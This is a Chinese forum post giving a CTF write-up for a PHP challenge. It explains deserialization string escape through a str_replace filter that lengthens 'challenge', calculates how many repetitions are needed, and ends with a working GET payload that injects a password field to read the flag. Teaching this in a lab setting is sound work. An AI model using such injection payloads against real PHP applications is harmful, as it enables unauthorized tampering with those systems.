CTF-37解题思路

Track-子羽   ·   发表于 2021-11-22 17:38:03   ·   CTF&WP专版

反序列化字符逃逸 正常序列化

源码分析

  1. <h3>easyunserialize<h3/>
  2. <?php
  3. error_reporting(0);
  4. highlight_file(__FILE__);
  5. class a
  6. {
  7. public $uname;
  8. public $password;
  9. public function __construct($uname,$password)
  10. {
  11. $this->uname=$uname;
  12. $this->password=$password;
  13. }
  14. public function __wakeup()
  15. {
  16. if($this->password==='easy')
  17. {
  18. include('flag.php');
  19. echo $flag;
  20. }
  21. else
  22. {
  23. echo 'wrong password';
  24. }
  25. }
  26. }
  27. function filter($string){
  28. return str_replace('challenge','easychallenge',$string);
  29. }
  30. $uname=$_GET[1];
  31. $password=1;
  32. $ser=filter(serialize(new a($uname,$password)));
  33. $test=unserialize($ser);
  34. ?>

原理:利用字符串过滤使的原来序列化的读取的s长度发生了改变(多出一个字符就能逃逸一个字符)
对于反序列化的语法来说,第一个右括号之后的字符都是作废的

  1. PHP 在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(数组、对象等类型);反序列化时,结尾后的字符串会被忽略掉,当出现字符串替换函数得时候,就可以存在反序列化逃逸漏洞
  2. 当替换后字符变多:由于膨胀,导致后面的字符被挤掉,所以执行我们传入的代码
  3. 当替换后字符变少:由于缩水,导致前面的字符被吃掉了,所以执行了我们后面构造的代码

脚本:

  1. <?php
  2. error_reporting(0);
  3. class a
  4. {
  5. public $uname;
  6. public $password;
  7. public function __construct()
  8. {
  9. $this->uname='admin';
  10. $this->password=1;
  11. }
  12. }
  13. function filter($string){
  14. return str_replace('challenge','easychallenge',$string);
  15. }
  16. $ser=serialize(new a());
  17. echo $ser;
  18. //运行结果
  19. // O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";i:1;}

得到源码先序列化一下原来的字符串,将它拷贝出来以便后续进行修改

  1. O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}

我们要把password改为easy,改造成如下

  1. O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}

计算得到需要逃逸29个字符,但是过滤函数是一次逃逸4个字符,得不到4的倍数,所以我们在后面补充几个字符使得逃逸的字符数为4的倍数
需要添加的字符串 长度29
";s:8:"password";s:4:"easy";}

替换后会由9变成13 长度变长4 列方程
9m + 29 = 13m

除不尽 尝试增加需要添加的字符串的长度
";s:8:"password";s:4:"easy";}aaa

此时 m= 8 即增加8个challenge

payload:

  1. ?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

打赏我,让我更有动力~

0 Reply   |  Until 6个月前 | 312 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.